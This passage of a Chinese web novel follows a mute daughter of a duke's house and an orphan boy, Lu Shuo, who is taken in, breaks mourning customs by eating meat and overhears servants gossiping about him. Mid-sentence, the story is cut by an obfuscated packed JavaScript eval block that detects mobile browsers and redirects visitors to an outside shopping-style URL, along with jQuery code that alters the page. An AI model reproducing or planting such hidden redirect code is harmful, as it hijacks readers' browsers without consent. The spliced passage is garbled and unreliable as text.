她站在廊下,目送几个哥哥带着一身麻衣的卢朔离开。 等到他们过了院墙,她又往前挪了几步,微微探出一点身子,去看他们的背影。 雨水滴滴答答地顺着檐角落下,紫苏伸出手,轻轻掰回了一点贺兰佩的肩膀:“小姐,当心受凉。” 贺兰佩指了指他们。 紫苏在贺兰佩身边伺候了好些年,已经很习惯于揣测她的意思,便道:“小姐果然还是对那个卢朔有些好奇吧?” 贺兰佩有些不好意思地抠了下墙壁,又指了指身上的衣服,拳头虚握在眼下,转了两转,作出一副哭泣模样。 紫苏道:“还穿着孝服呢,这么小就没了爹娘,确实可怜。” 后半句话咽回肚子里没说,那就是虽然没了爹娘,但进了国公府,过上了公子哥儿的生活,也算是因祸得福,天底下不知道有多少人羡慕还来不及呢。 已经看不到那几个人的身影了,贺兰佩慢吞吞地回正身子,往屋里走去。 案上摆着厨房刚刚送来的点心,贺兰佩捻了一块吃,眼睛亮了亮。 紫苏道:“小姐喜欢?那奴婢跟厨房说一声,让他们以后常做。” 贺兰佩一边嚼着点心,一边用帕子擦了擦手指,然后提起桌上的毛笔,在铺开的白纸上飞快写道:「虽然好吃,但糖油过多,不宜常吃,一旬一次即可。」 紫苏看了一眼,道:“小姐还小呢,多吃几口也无妨。” 贺兰佩却认真摇了摇头,指了指自己的牙齿。 紫苏长长地哦了一声,会意笑道:“小姐是换完牙了,怕蛀了吧?” 贺兰佩点头。 “小姐真是严于律己。”紫苏赞道,“二公子三公子到现在还在贪嘴呢。” 贺兰佩又提笔写道:「哥哥们说国子监饭食滋味平平,他们不常在家,偶尔放纵也情有可原。可我一直待在家中,便不能这样放纵,否则便是自堕。」 紫苏看前半句话还在笑,看完后半句话却敛了笑意,只无声地叹了口气。 她是国公府下人的家生子,只比小姐大了五岁,也算是亲眼见证了小姐从呱呱坠地到逐渐长大的过程。她记得小姐小时候说话又甜又脆,让人听着就觉得仿佛吃了一口枝头上刚摘下的鲜梨。小姐模样讨喜,又聪慧伶俐,从不捣蛋惹事,府里没有哪个人是不喜欢她的。 只可惜,五年前先帝急病而亡,老爷和兄长因继位人选而产生矛盾,搬出了国公府,在京中一处普通宅院住着。 宫廷政变来得太快,又因两方实力相近,混战了整整三天三夜,宫门前兵戈不歇,普通百姓根本不敢出门。 就在老爷在宫里为太子厮杀的时候,年仅六岁的小姐许是受了换季影响,忽然开始发热。 家中有备药,可几帖药下去,都是短暂退热之后,又重新发了起来。小姐一开始还会难受得哭泣,后来烧晕了,连哭都不哭了。 夫人心急如焚,可外面一片兵荒马乱,哪里找得到大夫?更何况他们一家支持皇后与太子,待在家中还有护院保护,万一跑到街上,遇到了贵妃一党的兵马,岂不是完蛋了? 于是小姐就这么吃着不见效的药,硬生生地烧了三天。 三天之后,政变落幕,太子如期继位。 夫人托人往宫里给老爷送了口信,老爷得知后大惊,立刻向太后求了个恩典,带了太医前往家中诊治。 太医说,治是可以治,几剂猛药下去,总能把人救活。只是烧了这么久,恐怕会留下一些遗症。 老爷和夫人都说就算烧成个傻子也认了,但还好,没变成傻子,只是再也说不了话了。 紫苏想,若是生下来就是个哑巴也就算了,可小姐都已经六岁了,能记很多事了,甚至还会背一些诗文了,突然就这么失去了自己的声音,实在是老天无眼。 紫苏曾无意中听到过老爷跟夫人忏悔,说难道是自己不该掺和进皇家之事,所以老天才会降罪于他的女儿?可他的女儿又有什么错呢? 也许是因为这一份愧悔之心,即使是当了宣国公,成为皇帝倚重的权贵,老爷也没有再纳妾室,生下其他孩子。 而小姐本人,在经过了最初的急躁和痛苦之后,也渐渐接受了这个现实。 她仍是会笑,只是笑得少了些,也仍是会跟家人亲热,只是却不太愿意跟他们一起出门了。 紫苏记得小姐以前最喜欢被夫人抱着上街玩,还会去其他人家府上串门,说些吉祥话,从各家长辈们那里讨糖吃。 现在她再也不去那些热闹的地方了,时常待在家里,干的最多的事情就是一个人看书。 又因为大多数时候都需要靠写字才能沟通,但写起字来又实在麻烦,所以小姐除了必要的问答之外,一般也不爱主动找人聊天。 有时候紫苏都不太知道小姐心里在想什么,只知道小姐可能是看的杂七杂八的书太多了,不撒娇说正事的时候,就会流露出一股成熟的口吻。 可瞧她的外形,分明还是个玉雪可爱的孩子呢。 贺兰佩又吃了一块点心,然后指了指还剩最后一块的盘子,再指了指紫苏。 紫苏:“谢小姐,奴婢等会儿也来尝尝。” 见贺兰佩起身往内室走去,她跟在后面,服侍着贺兰佩脱衣脱鞋上床。 平时午后小姐都是要小睡一会儿的,今日为了等老爷他们回来,便没睡,这会儿是该困了。 紫苏给贺兰佩掖好被子,放下帷帐,又扫了一眼悬挂在床头的银铃,道:“小姐醒了便唤奴婢。” 她家小姐不能说话,要喊人只需拉动银铃下栓着的线绳即可。 贺兰佩点点头,轻轻打了个呵欠。 紫苏笑笑,退了出去。 - 送走了国公府几位公子,卢朔站在自己的院子门口发呆。 三间房的主屋,还有两个耳房,以及一个二十尺见方的庭院,他家和叔婶家加起来,也没这么大。 而且他们两家都是在乡下建的土房,灰扑扑的,不讲究,能住人就行,而眼前这个院子从里到外每个地方都已被精细打理过一遍,哪怕是还没来得及栽种花草的小园圃,都摆上了现成的盆栽。 “公子一路风尘,可要沐浴?若是要的话,小的让人去烧热水来。”正出神着,添庆走到卢朔身旁,开口问道。 “啊?哦……”卢朔回过神来,犹豫了一下道,“那,那去吧。” 虽然昨天进京前洗过了,但小厮都这么问了,他若是说不用,那是不是会让人以为自己不爱干净? “是。”添庆得了令,扭头喊站在檐下角落里的另一个小厮,“来寿,去跟水房说一声,卢公子要沐浴。” 来寿应了一声,撑着伞出去了。 卢朔:“……” 他深吸一口气,让自己尽量习惯这种生活。大公子方才跟他说了,添庆负责照顾他的起居,来寿负责各种洒扫跑腿的琐事,怕他不习惯太多人,就先给他安排了这么两个,若是人手不够用,就再去跟夫人说。 卢朔想,一个都有点嫌多,比如现在,和添庆四目相对,着实尴尬。 添庆道:“下着雨呢,公子不进屋吗?” “哦,嗯。”卢朔抬脚往屋里走,被添庆看得浑身不自在,险些同手同脚。 添庆给卢朔倒了杯茶,倒完便退到了一旁站着。 卢朔迟疑道:“你不用一直在这里守着,我现在没有什么事要你做。” 添庆:“夫人说,公子刚进府,可能会有许多问题,叫小的多留心解答。不过若是公子想要一个人待着,小的也可以下去,公子有事再喊便是了。” 卢朔想了想,想起自己确实有一些疑惑,但先前不好意思问国公夫人和几位公子,那不如便问问这个小厮? 于是他便试探着开口:“你去过国子监吗?” “没有。”添庆答道,“国子监里管理严格,不允许学生随意携带僮仆,免得干扰教学。” 卢朔:“这样么……” 国子监内规矩颇多,能在一定程度上限制权贵子弟仗势欺人的情况,但也意味着各方面的管理都比普通学塾的要求更高,他说不清自己究竟是松了一口气还是更加忐忑。 从添庆那儿大概是问不出什么国子监的东西了,卢朔便转而道:“方才几位公子带我在府里转了一下,我已记住了各处的路,但我有个疑问,不知能不能问。” 添庆:“公子想问什么?” “为何大家的院子似乎都集中在东侧呢?我看西侧那儿有颇多院子空置,是用来做什么的呢?” 添庆:“这……” 见他神色有异,卢朔心里一紧,连忙道:“若是不方便说的话,就算了。” 添庆抿了下嘴,道:“西边的院子原先是上一任国公住的,也就是老爷的兄长一家,后来犯了点事,总之就……事关天家,公子心里有数即可,以后最好还是不要再提了。” 卢朔立刻开始后悔自己的多嘴。 添庆想了想,又补了一句:“也是在那个时候,四小姐生了场大病,没能得到及时医治,这才落下遗症。” 卢朔愣了一下,喃喃道:“所以就说不了话了吗?好可怜……” “公子万不可这样说。”添庆立刻阻止,“四小姐不喜欢旁人对她露出怜悯之态,老爷、夫人及诸位公子也不喜欢。虽然知晓公子并无恶意,但若是在背后妄议小姐,是要惹怒他们的,公子对四小姐,正常以礼相待即可。” 卢朔咽了口唾沫,连忙点头。 想到添庆这样提醒自己,没有让自己无知之下冒犯国公府,他心中不免感激,道:“多谢你告诉我,我一定牢牢记着。” 可能是没想到会被卢朔感谢,添庆愣了一下,随即笑了笑,道:“夫人派小的来,便是为了照顾公子,这些都是小的分内之事。” 卢朔默了默,实在不知道该说什么,只能道:“我这儿也没什么别的事了,你先回去休息吧。” 添庆应了一声,退出去,给卢朔带上了门。 整个屋子只剩下卢朔一个人,他终于有了独处的空间,肩膀放松下来,瘫坐在椅子上,长长地吐出一口气。 目之所及,无不是上等家具、上等装饰,卢朔从来没住过这么好的地方,一时间都有些恍惚了。 只是,这地方再好,却也不是他的家。 他的家虽然破旧,有时候还会漏雨,但他却在里面生活了十二年,每一处犄角旮旯里都有熟悉的痕迹。 不像这里,空气里还隐隐浮动着崭新的木料气味。 闭上眼,既没有田埂上的犬吠鸡鸣,也没有邻里间的大呼小叫,安安静静的,除了雨声,还是雨声。 卢朔趴在桌子上,把脸埋在臂弯里,肩膀微微地抽动了几下。 过了一会儿,他抬起脸,吸了吸鼻子,直起身来,打开了自己从老家一路背回来的包袱。 包袱里没什么贵重东西,有一只他爹以前削给他的木头小狗,一支他娘留下的杂色铜簪,一条他娘出嫁时穿的红布裙子,一件他娘给他打满补丁的褡护,以及一双他娘早早缝给他爹的新鞋,等他爹服完役回家就能穿。 其实他还有很多东西舍不得放弃,比如家中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523255|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农具、桌凳、箱笼等等,只是自从他娘去世后,这些东西便被叔婶拿去用了,而他还得靠叔婶养着,只能沉默地看着他爹买回来的农具在叔叔的手上挥舞,他娘托人打的桌凳被堂兄弟的身躯占满,而那几个原本放着他们一家衣物的箱笼,里面已经重新塞满了叔婶和兄弟的衣物。 至于他爹娘的衣物,自然是在山上的墓里。 所以叔婶让他上山砍柴,他从无怨言,这样他就可以一个人在墓前呆很久。 那天下山,他背着柴禾回去,看到屋门口站着村长和几个军伍打扮的陌生男人,不由一愣。 而他的婶婶一看见他,便露出了前所未有的灿烂笑容,急忙走向他,一边帮他卸柴禾,一边喜道:“你这孩子,怎么才回来!贵人都等你等了好一会儿了!” 他的叔叔搓着褐黄的手掌,对领头的男人嘿嘿笑道:“大人,这个就是草民的侄子,卢朔,自打他爹娘走后,一直都是草民在照顾。” 直到那一天,卢朔才知道,原来他爹不是简单地战死,而是为了保护主将而死。 宣国公要带他回京,叔婶自然不敢不从,点头哈腰地欢送卢朔。只是当宣国公让卢朔收拾一下行李时,他们就显得有些紧张了,目光牢牢地锁着卢朔的步伐,仿佛生怕他把家里那些大件儿也一并带走。 卢朔看了一眼被叔叔紧紧攥在手心的那张一百两的银票,默不作声地整理好了包袱。 宣国公问他:“就这些?” 卢朔点点头:“就这些。” 他余光看见叔婶悄悄松了一口气。 卢朔带着宣国公又上了趟山,去看爹娘的坟墓。 宣国公郑重地给二人上了香。 卢朔仰起头,问宣国公:“以后我还能回来吗?我……我总要给爹娘扫墓的。” 宣国公道:“等你长大了,自然可以,那时候你衣锦还乡,也是给你爹娘争光。” 说罢,宣国公又扫了一眼站在旁边的村长,道:“村长正好在此,便做个见证,方才卢家夫妇已答应我,会重新修葺卢朔父母的坟茔,这样以后卢朔回来拜祭也不至于找不到地方。卢忠为国捐躯,是大义之士,村中不可怠慢。” 村长忙道:“是是是,大人尽管放心,草民一定督促他们,马上找人重新修坟。” 宣国公这才颔首。 …… 卢朔站起身,在屋中转了一圈,找了个柜子,把包袱里的那些东西仔仔细细地存放好。 他揉了揉眼睛,刚关上柜门,便听到外面添庆在敲门:“公子,热水烧好了,小的们能进来吗?” 卢朔深吸一口气,平复了一下心情,道:“进来吧。” 添庆和来寿抬着个空浴桶进了门,身后还跟了两个挑着热水的水房小厮。 屏风隔出一块空地,小厮们把热水倒进桶里,添庆在一旁问:“澡巾、胰子等物都给公子备好了,公子可需要小的服侍?” 卢朔赶紧摆手:“不用不用,我自己洗就行。” 添庆:“那小的们便先下去了,公子有事再喊即可。” 一群人又退了出去,关上了门。 卢朔走到屏风后,望着满满一大桶热水,抹了把脸。 他脱了衣裳,迈进水里,把自己埋在了水下。 …… 因为昨日已经洗过,身上并不脏,加上知道其他人还在等自己洗完好收拾,卢朔只简单泡了泡,擦洗一番,便起了身。 他换上另一套麻衣,打开门,左右望了望,没看到添庆和来寿的身影,便猜测他们可能在耳房待着,便准备去跟他们说一声,自己洗好了。 也许是为了方便他们及时听到主人的喊话,耳房的门窗并没有关起来,两个人的对话模模糊糊地飘了出来。 “添庆哥,刚才外面喊你过去拿什么啊?” “夫人让人按照卢公子的尺寸去成衣店现买了几件衣裳过渡,等会儿他洗完了,我便给他送进去。” “唉,真是命好,一下子就成了老爷的义子了,他爹这命卖得值啊。” “那也是人家爹聪明,光战死能得几个恤银,不如卖老爷一个人情,不然累死累活在乡下种一辈子地,都摸不着京城的大门。” “说的也是。但毕竟不是老爷的亲儿子,万一犯了什么错误,老爷还能一辈子都承这个情不成?添庆哥,你觉得这个卢公子怎么样?将来能有出息吗?” “难说。” “他口音那么奇怪,去了国子监,连话都说不利索,肯定会被先生批评的。” “嗐,别说口音了,他连字都没认全呢,说不定连你都不如。” “啊?这怎么能进国子监?” “老爷夫人想塞他进去,还怕没有门路吗?” “添庆哥,你真是可惜了,怎么被夫人分配来照顾卢公子了?你原先是在大公子院子里伺候的,大公子应该今年或明年就能顺利结业,取得授官资格了吧?若能一直跟着他,以后定是能享福的。”来寿道,“不像我,我本来就是个打杂的,在哪儿打都一样。可你不一样,你跟了大公子那么多年,现在却换成了卢公子,不等于前面都白干了吗?” “大公子身边人多,不缺我这一个,也怪我没本事,没得大公子看重,夫人要调我走,大公子也没意见。”添庆叹了口气,“算了,还能怎么样,只能安慰自己,我在夫人那儿的印象应该还不错,否则也不会让我来接手卢公子。” 来寿:“唉,咱们当下人的,前途全系在主子身上,若主子不争气,我们也倒霉。” “轻点儿声,别让人听去了。估计过一会儿卢公子就该喊我了。” “洗这么快吗?乡下人不是都舍不得用柴火烧热水吗?他如今进了府,不得好好享受享受?” “谁知道他是什么习惯,这几日多观察观察吧。” 卢朔站在廊下,若有若无的雨丝顺着风拂在他的脸上,泛起沁人的凉意。 他轻轻地转过身,安静地回到了自己的屋子。 4. 第 4 章 晚上辰时,贺兰宗才从宫里出来,回到国公府家中。 章宜珠笑着迎他:“怎么现在才回来?陛下都同你说了些什么?” 贺兰宗:“能说什么,无非是边境那些事。如今北蛮已然求和称臣,后续那些事也不归我管,自有其他人操心,我不过是个陪聊的罢了。” 章宜珠一边替贺兰宗换下官袍,一边道:“捷报刚传进京的时候,陛下给府里赏了好些东西,这次你进宫,可有再另外给你什么赏赐?” “陛下原本是打算再加封我五百户食邑的,不过被我谢绝了。”说到这里,贺兰宗顿了顿,语气严肃了些,“这几年陛下与太后频有摩擦,我先前与太后母族交往密切了些,若是再邀功请赏,我怕陛下会多心。” “我也是这么想的。”章宜珠道,“国公府近来风头正盛,有好些人家递帖请我赴宴做客,我都找借口推了。陛下要提拔你,那是陛下表明对功臣的态度,但咱们自己心里得有杆秤,不能让陛下不痛快。” “是,所以我也跟陛下说了,这次打仗受了重伤,若不是被底下人救了,恐怕就得曝尸塞外了。回京后想好好休养一段时间,陛下也准了。” 章宜珠拧眉道:“究竟伤得多重?给我瞧瞧。” “没什么好瞧的,早就愈合了,就剩了几道疤。”贺兰宗穿上常服,松了松筋骨,笑道,“该吃饭了吧?我回来得晚了,你们肯定饿了。” 章宜珠:“饭早就备好了,我还让人做了你爱吃的鲈鱼。” 贺兰宗哈哈笑道:“几个月没碰了,我就惦记这一口!” 到了膳厅,一群大大小小的孩子已经收到消息,在桌前候着了。 贺兰宗一眼便瞧见了站在最后面的卢朔。 “换了衣裳了?”他看了看卢朔身上的素色新衣,问道,“穿着还合适吗?” 卢朔垂头道:“很合适,是夫人费心了。” 章宜珠在一旁道:“下午给几个孩子都量了尺寸,准备裁新衣了。卢朔没有旧衣可穿,在新衣做好之前,便买了几身现成的给他。” 贺兰宗满意地点了点头:“这身衣裳不错,瞧着精神了不少。”又道,“都杵着干什么,坐吧坐吧,赶紧吃饭。” 众人便都入了席。 卢朔抬眼望了一下,宣国公左手边坐着夫人,右手边坐着四小姐,连大公子都得再往旁边稍稍,可见四小姐在府中的受宠程度。 卢朔已提前问过了添庆,府里用膳可有什么规矩,添庆说并没有太大的规矩,老爷喜欢雷厉风行,不喜欢繁文缛节,让他不必太过担心,旁人做什么,他依葫芦画瓢照做就是了。 添庆说的是实话,府上吃饭的确没什么规矩,宣国公说完之后,二公子和三公子已经开始往碗里夹菜了。 宣国公也动了筷子,只是并不是动给自己,而是先夹了一块鱼脸上的月牙肉给四小姐,又夹了一块鱼腹,等她咀嚼起来后,才笑了笑,自己开始大口吃饭。 卢朔抿了抿唇,看向离他最近的一盘菜。 是一道鲜蘑菜心,炒得亮晶晶润汪汪的,看着就很好吃。 他慢吞吞地伸出筷子,夹了一些放进碗里,埋头吃了起来。 可能是他没见识,明明瞧着也不是什么特别珍贵的食材,但不知道为什么,竟然有种说不出的鲜美嫩滑感,难道是因为舍得放油? 他用余光观察着其他人吃饭的进度,免得自己吃得太快,像饿死鬼投胎。 不过等他夹到第四筷鲜蘑菜心的时候,他忽然感受到斜对面似乎有一道目光黏在了自己身上。 他抬起头,与四小姐对上视线,握着筷子的手指不由一僵。 他急速地思索起来,难道是自己吃相不雅,被她注意到了?还是她喜欢这道菜,但被自己吃了太多,她有意见了? 还没等他想明白,四小姐就已经收回了目光,低头吃起了自己的饭。 许是因为方才四小姐的注视,宣国公也看向了他,问道:“怎么样,卢朔,家中的菜吃着还可以吗?” 卢朔连忙放下碗,道:“很好吃,多谢国公关心。” 三公子正好坐在他旁边,瞥了他一眼,道:“你怎么老盯着这一盘菜吃?吃点儿别的啊,这么多菜呢。” 宣国公这才注意到他面前那盘快空了一半的鲜蘑菜心,不由笑道:“想吃什么就尽管吃,你若是不吃,这些菜做了吃不完,也是要倒掉的。” 国公夫人也在一旁和蔼道:“饭不够了也可以添。” 一时间,饭桌上人人都看着自己,卢朔被看得浑身尴尬,耳朵像是要烧起来,只得含糊应了一声好。 他手中的筷子换了个方向,伸向鲜蘑菜心旁边的盘子。 他不太看得出这是什么,但已经闻了许久飘过来的特殊香气,他猜测可能是什么肉菜,只是看三公子似乎挺喜欢吃,他便没好意思去夹。 他谨慎地夹起了一块肉丁,便听三公子疑惑地开口:“你能吃这个吗?这可是兔肉……” 话还没说完,便被旁边的二公子猛地踩了一脚,三公子吃痛,嘴角一抽,噤了声。 卢朔愣住了。 他看了看还没放进碗里的肉丁,又看了看齐齐望着自己的众人,一时间不知所措。 “老二的意思是,这个兔肉里放了一些茱萸和蜀椒,不知道你能否吃得惯。”大公子平静道。 卢朔犹豫着。 他老家不种茱萸,家里更没有那个闲钱去集市上买特殊的佐料回来做菜,所以他并不知道这道菜滋味如何。 大公子:“那就尝尝吧。” 卢朔听话地把兔丁放进嘴里,嚼了嚼,一股辛香之气直冲脑门,他忍不住捂着嘴咳了几声。 “不喜欢就不吃,还有别的菜呢。”他听见国公夫人出声,“添庆,去盛碗羹来。” 添庆上了前来,给卢朔盛了一碗翡翠豆腐羹,低声道:“公子,喝这个顺顺气。” 卢朔端起碗喝了几口,这才缓过来,朝国公夫人尴尬一笑:“多谢夫人,那道兔肉其实是很好吃的,只是从没见过这样的做法,让夫人见笑了。” 国公夫人温声道:“那就好,想吃什么就自己夹。” 卢朔低低地嗯了一声。 众人便收回目光,又各自吃了起来。 二公子和三公子一直在问宣国公战场上的事,宣国公被他们问烦了,便反过来问他们的课业,二人糊弄过去了,宣国公就再去问大公子,大公子则淡定回复,国公夫人时不时在旁边笑着补充一句,听得宣国公频频点头。 终于没人再关注他了。 卢朔的筷子就在附近三四个盘子中间打转,没再夹更远的菜,就这么吃完了一碗饭。 也确实吃得很饱了,国公府的菜色香味俱全,是卢朔这辈子吃过的最好吃的菜。 众人也吃得差不多了,陆陆续续放下了碗筷。 章宜珠低声在贺兰宗耳边说了句什么,贺兰宗微微眯了下眼睛,朝儿女们摆了摆手:“吃完了就回去玩吧,我还剩了些酒,跟你们娘慢慢喝。” 贺兰昌和贺兰荣这对双胞兄弟率先下了桌,一前一后追逐着跑了出去,引得小厮纷纷跟上提醒:“公子们!仔细着台阶!” 大公子贺兰振起身正欲离席,忽然被旁边的贺兰佩拉了下袖子。 贺兰振垂眸望着妹妹,笑了笑:“怎么了?” 贺兰佩看向紫苏,紫苏从袖中取出一本书来,对贺兰振道:“小姐下午睡觉起来看了会儿书,有些疑问,想让公子帮忙解答。” “好啊,上次佩儿来问我问题,都是一个多月前的事了。”贺兰振愉快道,“走,哥哥带你去书房,看看你又琢磨出什么名堂了。” 兄妹两个也步伐轻快地消失在了门外。 卢朔见大家都走了,便朝坐在对面的宣国公和夫人低头行了一礼,默默退了出去。 他往自己的院子里走,路过贺兰昌和贺兰荣的院子时,还能听见墙里传来他们的大呼小叫。 等到回了自己的院子,掩上院门,跟着他的添庆才忍不住开口问道:“公子,小的有一事不明,只是这事儿说出来恐怕冒犯公子,但若不说,被外人知道,恐怕也要对公子有微词。” 卢朔愣了愣:“什么事?” 添庆抿了下嘴角,方道:“不知道是不是习俗不同,公子家乡那边……守孝是不用茹素的吗?” 卢朔听罢,先是一怔,微微睁大了眼睛,等反应过来之后,整张脸便以肉眼可见的速度涨得通红。 “我、我……”他磕磕绊绊地说,“我不知道这些……” 在他记忆中,父亲与叔叔早就分了家,他能想起来自家最早的白事,还得追溯到他三四岁的时候,祖母去世。但他那时候太小了,什么细节都没记住,就只隐隐约约有这么个印象。 村里每年都会死人,每年都会办白事,最基本的披麻戴孝卢朔当然知道,甚至连葬礼的流程他也知道。 但从来没人跟他说过茹素的事情,他也从来没听说过村里哪户人家要为逝者专门茹素的。 因为大家都穷,平时也吃不上几回肉,反正死不死人都是吃一样的东西,谁还会特意拿出来强调? 他家中积蓄微薄,平常能吃到的荤腥顶多就是捡到的禽蛋,只有逢年过节时,娘亲才舍得去市集上买一块肉回来尝尝。 他爹的死讯传来时,家中还有一小块过年时剩下的腊肉没吃完。后来他娘病了,卢朔想给娘切点肉吃,她却说吃不下。她吃不下,卢朔自然更吃不下。 再后来他娘也走了,叔婶给他们立了坟,把卢朔和家里的东西一起带去了他们家,也包括那剩下的一小块腊肉。 但叔婶也暂时没舍得吃,堂兄弟们时常眼巴巴地望着那块肉,却不敢忤逆父母,只能闻闻香味解馋。 如今回想起被宣国公从老家带回京城的这一路上的饮食,卢朔才恍然惊觉,军中给他发的餐饭一直都是白饼和素菜,而他竟从来没有意识到有什么不对。 偶尔瞥见连士兵们都有肉汤喝,他也只以为那是军队才有的待遇,自己是个多出来的人,自然不能占公家的便宜。 “我不是故意的……”卢朔的嘴唇因惶恐而颤抖,“我真的不知道,没人跟我说过这些,我家也不常吃肉……可、可刚才为何没人提……” 话未说完,他自己突然想起来,其实是有人提醒过他的。 三公子看到他夹了筷兔肉,刚问了半句能不能吃,便被大公子接过话头,圆了过去。 当时他没反应过来,还以为真的是在关于他的口味,没想到,竟然是自己坏了规矩。 卢朔的脸色由红变白,站在屋前,不知所措地看着添庆。 他看到添庆皱起了眉,眼中流露出不知道是怜悯还是轻藐的情绪。 “许是老爷他们怕公子尴尬,便未阻止。”添庆说着,眨了一下眼睛,那些复杂的情绪便都散去了,温和地安慰他道,“公子也不用太过担心,这事只不过于道德有瑕,传出去容易影响名声,倒也不会有什么严重的后果。多的是人在守孝期间偷偷犯禁的,只不过隐瞒得好,所以不为人知罢了。” 卢朔:“那、那我在孝期吃了肉,这么多人都看见了,会不会影响国公府的名声?” 他自己一人坏了名声也就罢了,但若是连累了国公府,他真是不知如何赎罪才好。 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章宜珠:“我知道,等会儿我就让人去传话。” 贺兰宗点点头:“那便没什么事了。” “谁说没什么事?我另外还有正事要找你。” 贺兰宗奇道:“还能有什么事?” “自然还是卢朔的事!”章宜珠拧着眉道,“我今日探了探他的底,他字都认不全,连蒙学都没上过,你怎么敢让他进国子监的?你在写信让我去办事之前,难道就没亲自问问他的情况?” 贺兰宗唔了一声,摸了摸下巴:“这情况我知道,但我朝国子监最低入学年龄是十二岁,他刚好卡着这个年龄进去,也不违规矩啊。这孩子不像是个傻的,就算前面落后点,后面总能追上的嘛,大不了比别人多读几年,怕什么?” 章宜珠冷笑一声:“我们不说他天资如何,我就问问你,他现在连府里的人事都不熟悉,对京城更是几乎一无所知,他若是个胆大开朗的也就罢了,可他分明是个畏缩羞怯的,你把他丢进权贵遍地的国子监里,让他怎么适应得了?旁人会像我们一样迁就他吗?恐怕从第一日就要开始嘲笑他的口音了吧?” 贺兰宗沉下脸:“有老大他们几个在,旁人若是敢欺负卢朔,那便是对国公府不敬!我倒要看看谁有这个胆子!” “你想得可真简单,老大他们难不成没有自己的事要做,每天十二个时辰围着卢朔打转吗?”章宜珠扯了扯嘴角,“若有人暗中欺负卢朔,卢朔又自己憋着,不敢跟我们告状,你待如何?” 贺兰宗皱眉不语。 章宜珠:“你在信里说,以后让卢朔跟老二老三他们一起在国子监读书,我还以为这孩子是有根底的,还想着别让县乡学堂埋没了人才,谁知道你竟揠苗助长!” “那你的意思是,不去国子监了?”贺兰宗看着章宜珠。 章宜珠:“我自认为看人还算准,我觉得以卢朔现在的状态,不适合去国子监。若是以后发现他是个后起之秀,再送去也不迟。” “那他不去国子监,谁教他读书?”贺兰宗琢磨起来,“京城里倒也有普通人家上的学堂……” “我是这么想的,不如就让卢朔在家里读书算了。”章宜珠忽然凑近了他,压低声音道,“就连先生都是现成的,不必再另外挑选了。” 贺兰宗一愣:“你是说……让他和佩儿一起读书?” 贺兰佩和贺兰昌贺兰荣年纪相差不大,双胞胎开蒙的时候,家里索性也让贺兰佩一起跟着听了。 后来贺兰佩生病失声,消沉了好几个月,功课便落了下去。再后来她终于接受了现实,愿意给自己找点事情干,继续读书,家里便专门给她请了个女先生,给贺兰佩一对一授课。 女先生是宫廷女官出身,年纪大了被放出宫,在家赋闲养老。 章宜珠挑中她,一来是因为她有些才学,虽不如专门的教书先生那样深耕经文,但教个孩子足够了,二来是因为她在宫里当过差,为人细致,颇有耐心,又见过世面,会说故事,请来开导陪伴女儿再合适不过。 “是啊,蒋司籍教一个人也是教,教两个人不也是教?有时候她当堂布置了课业让佩儿写,自己没事干了,不正好就能去教卢朔了?卢朔那边还教得更简单呢。”章宜珠越想越觉得有道理,“我们给她加点束脩就是了,想来她也不会拒绝的。” 贺兰宗轻轻嘶了一声:“让佩儿和卢朔一起上课?这合适吗?” 章宜珠望着丈夫,道:“于礼确实不合,但你不觉得,佩儿现在正缺个同龄人和她一起玩耍吗?以前老二老三还在家中的时候,她还有兴趣跟他们跑跑跳跳,现在老二老三去国子监了,十天才回来一次,佩儿连个朋友都没有,成日闷在屋里看书,长此以往,只怕会越来越孤僻。” 贺兰宗:“可我瞧着卢朔还不如咱们佩儿有生气儿呢!” 章宜珠:“现在是这样,但以后说不定熟悉了就好了呢?有人陪着,哪怕一句话都不说,也总归有个伴,不会那么孤独了吧?而且我觉得佩儿并不排斥卢朔,方才吃饭的时候,她还看了他好几回呢。” 贺兰宗沉吟片刻,道:“这事也不是不行,但得问问佩儿自己的意思。万一她不喜欢被人打扰呢?” 章宜珠:“这不是得先等你松口,我才好去问她么。” 正说着,外面丫鬟敲了敲门,道:“老爷,夫人,卢公子求见。” 贺兰宗和章宜珠惊讶地对视一眼——不是刚走,怎么又回来了? “让他进来吧。”贺兰宗扬声道。 丫鬟打开门,卢朔便急匆匆地走了进来。 5. 第 5 章 “老爷,夫人。”卢朔在二人面前站定,紧张地咽了下喉咙。 “怎么了?有什么事吗?”贺兰宗和蔼笑道。 “我……”卢朔深吸一口气,鼓足勇气开口,“我今夜吃了不少荤菜,不是故意的……我、我不知道有守孝茹素的规矩……从来没人跟我说过这些……” 贺兰宗和章宜珠一愣。 他们方才还在讨论这事呢,没想到卢朔自己就先提出来了。 贺兰宗皱了下眉,问:“既然你不知道,那又是谁跟你说的这个规矩?” “是添庆……”卢朔实话实说,偷偷觑了一眼宣国公的表情,又犹豫着补充道,“但他是好意提醒我,也多亏有他提醒,我才知道这事要是传出去,可能会连累国公府的名声……” “你倒也不用如此害怕。”章宜珠慨叹道,“确实有这样的规矩,但也不是人人都得遵守。规矩是死的,人是活的,若真有那份孝心,又何必用吃荤还是吃素来证明呢?更何况,你还是长身体的年纪,实在不必这样委屈自己,否则你爹娘泉下有知,恐怕也会心疼的。” “夫人说的在理。”贺兰宗颔首道,“你爹娘都不在了,你就更应该好好生活,把他们的那份也一起吃了、一起用了、一起看了才对,你健健康康地长大,才是对他们最大的孝心。” 卢朔嗫嚅着,说不出话。 章宜珠想了想,又道:“你也不用担心连累府上,且不说府里人嘴严,不会出去乱说,就算是传出去了,也没什么影响。国公府再怎么不行,也不至于被你一个十二岁的孩子连累。” “你往后想吃什么就吃,不用管那么多,真有什么事也是我们这些大人处理,还用不着你操心。”贺兰宗撇了撇嘴,“好了,你安心回去休息吧,把添庆喊进来,我同他说几句话。” 章宜珠却打断他:“也不用喊添庆了,左右也不是什么大事,都一起回去吧。” 贺兰宗看了夫人一眼,没再吭声。 等到卢朔离开,贺兰宗才忍不住开口:“为何不让我叫添庆进来说话?好端端的,他同卢朔说那些话做什么?是故意想叫孩子害怕不成?” 